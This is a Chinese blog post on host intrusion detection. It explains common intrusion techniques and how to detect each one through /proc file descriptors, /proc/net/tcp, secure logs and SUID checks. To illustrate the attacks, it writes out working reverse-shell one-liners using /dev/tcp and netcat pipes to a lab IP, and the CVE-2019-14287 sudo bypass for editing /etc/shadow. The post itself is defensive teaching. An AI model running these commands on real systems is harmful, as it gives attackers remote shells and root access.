1

HIDS(Host-based Intrusion Detection System),即主机入侵检测系统。

本文会阐述一些常见的主机入侵手段及对应的检测方式,意在抛砖引玉,欢迎交流~

反弹 Shell

反弹 shell 的本质是把 bash 或 sh 进程的输入输出重定向到 socket,在 socket 中获取 stdin[0],stdout[1] 和 stderr[2] 输出到 socket。因为进程通信有较高的复杂性,所以 bash 的输入输出可能是一个 pipe。

通过 /bin/bash 反弹 shell

一个经典的反弹 shell 如下:

# 先启动 server
nc -lvv 9999

# 再启动 client
/bin/bash > /dev/tcp/10.211.55.2/9999 0>&1 2>&1 &

反弹成功后,/bin/bash 的 file descriptor(0 1 2) 会被重定向。server 上可以控制 client 的 /bin/bash 进程的 0 1 2。

image.png

理想情况下,如果反弹 shell 的本质可以归纳为 file descriptor 的重定向,那么检测所有进程的 file descriptor 是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个 server。

检测方式

在反弹 shell 后,ps -ef 查看 /bin/bash 对应的 pid:

查看 /proc/<pid>/fd,能够看到进程打开的 fd 来查看是否建立了 socket 连接:

ls -al /proc/2633/fd

image.png

但只针对 fd 的 socket 数量做检测误报率会很高,因为一些正常的 server 和下载都会建立 socket,所以还要在此基础之上拿到进程的 cmdline、进程树等信息进行关键字匹配或语义分析。

借助 pipe 反弹 shell

绝大多数的反弹 shell 都是借助重定向 socket 来和 bash 进程进行输入输出交互。如果存在管道符号,那么 bash 进程交互的则是一个 pipe:

# input server 用于发送指令
nc -lvv 7777
# output server 用于接收执行结果
nc -lvv 8888

# client
nc 10.211.55.2 7777 | /bin/bash | nc 10.211.55.2 8888 &

image.png

效果如下:

左侧输入指令,通过 socket 发送到客户端执行,结果通过 socket 返回到右侧。

image.png

此时,bash 进程的输入输出都来自其他进程的 pipe,/proc/<pid>/fd 的情况如下。可以看到 0 1 都从 pipe 获取,非 socket。如果检测反弹 shell 时,只检测 socket 则会存在漏报。

image.png

检测方式

不管做了多少层的 pipe,反弹 shell 的本质是将 server 的输入传递给 client 的 bash,因此肯定存在 socket 连接。我们只需要递归查看 pipe 的输入,是否是来自一个 socket。例如,跟踪 pipe,发现 pipe 的进程建立了 socket 连接,那么就存在反弹 shell 的风险。

image.png

异常外连

一台主机入侵后,入侵者往往会把数据发送出去或启动反弹 shell。一般在 IDC 的出口防火墙都会有检测异常外连行为,可能由于中间有 NAT,并不一定知道是哪台机器过来,但即使是知道哪台机器过来的,也不知道是该台机器哪个程序发起的外连行为。

通常的操作,都是用 netstat 命令来获取:

image.png

但如果放在 HIDS 中实现,可能无法使用该命令:

  1. 有些Linux机器可能没有安装 netstat 命令;
  2. 即使有 netstat 命令,也可能由于之前的操作,导致 netstat 运行时依赖的 so 库缺失或符号缺失,导致无法执行这个命令;
  3. netstat 命令在宿主机是无法查到 docker 里的外连行为。

所以端口和进程信息可以从 /proc 文件系统下获取,通过 /proc/<pid>/fd 获取到 socket inode(socket:[26069]),再去对应的 /proc/<pid>/net/tcp 中根据 inode 获取进程连接到哪些机器,再对远程 IP 进行筛选,就知道是否有外连行为。

最下面一行就是外连 IP,16 位 IP 地址用的是网络字节序,转成 10 进制后,从后往前读就好了,而端口已经转为本机字节序:

image.png

image.png

如果是检测 Docker 内部的外连行为,通过宿主机查看 Docker 里的进程,获取进程 ID,通过查看 /proc/<pid>/net/tcp 文件,可以看到进程监听的端口。

异常登录

通过 history、secure 日志来发现被黑客入侵时的蛛丝马迹,history 不用说了,重点介绍一下 secure log。

检测方式

通过监视 /var/log/secure 文件来发现:

Secure log 的作用是记录验证和授权方面的信息,只要涉及账户和密码的程序都会记录,比如系统的登录、SSH 登录、su 切换用户,sudo 授权,甚至添加用户和修改用户密码都会记录在这个目志文件中。

image.png

p.s. 如果发现这个日志不存在,被删除了,可以手动排查:

# ls /var/log/secure
ls: cannot access /var/log/secure: No such file or directory

查看是否有进程在使用这个文件,可以看到 rsysload 进程在使用,结尾的状态是文件已经被删除。

# lsof | grep /var/log/secure
rsyslogd   1264      root    4w      REG                8,1  3173904     263917 /var/log/secure (deleted)

查看对应 pid 号的文件描述符,可以看到对应的文件内容。

# tail /proc/1264/fd/4
Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stoneSep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user rootSep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!

用重定向的方法恢复日志:cat /proc/1264/fd/4 > /var/log/secure

检测维度:登录 IP、时间、区域、账号

本地提权

image.png

sudo 配置检查(CVE-2019-14287)

在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。 当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生:

image.png

这条配置简单来说就是,test 这个用户可以使用 sudo 命令,以除了 root 以外的任意身份去执行 vim。但由于该错误,test 实际上可以通过运行 sudo -u#-1 vim 来以 root 身份运行 vim,这违反了安全策略。

正常情况下 /etc/shadow 是无法被普通用户访问的:

image.png

执行以下代码:

su test
sudo -u#-1 vim /etc/shadow

image.png

普通用户可以编辑 /etc/shadow 替换 root 账号的密码。

检测方式

之所以会产生这个漏洞,先决条件是 sudo 的版本 < 1.8.28,该漏洞会导致用户 ID 转换为用户名的函数时,将 -1(或 4294967295)误认为是 0,而这正好是 root 用户的 User ID。

利用 SUID 二进制文件进行提权

  1. SUID 权限只能设置二进制文件,且只有程序执行过程中为 root 权限
  2. 命令执行者要有二进制文件的执行权,并且执行时可以获得该程序的属主身份
chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

image.png

检测具有 SUID 权限的文件,不轻易给文件 SUID 权限,防止 SUID 的滥用导致黑客在进入服务器时能够获取到 root 权限。

脏牛漏洞(CVE-2016-5195)

COW 全名为 Copy-on-write

fork 之后,内核将父进程中所有内存页的权限都设置为 read-only,之后子进程内存指向父进程,当父进程或子进程执行了写入操作时,因为内存页是 read-only 的,就会触发 page-fault,进而进入内核中断例程中,在中断例程中内核将触发异常的页复制一份,至此,父子进程就拥有了各自的内存。

深度分析“大小脏牛”漏洞:CVE-2016-5195和CVE-2017-1000405

Glibc 编译漏洞(CVE-2018-1000001)

glibc 2.26 版本及之前版本中的 Realpath 函数存在缓冲区下溢漏洞。GNU C 库没有正确处理 getcwd() 系统调用返回的相对路径,并且没有对缓冲区边界进行检查,造成 glibc 缓冲区下溢漏洞。

Glibc缓冲区下溢漏洞分析(CVE–2018-1000001)


wzhvictor
1.5k 声望257 粉丝

宝剑锋从磨砺出,梅花香自苦寒来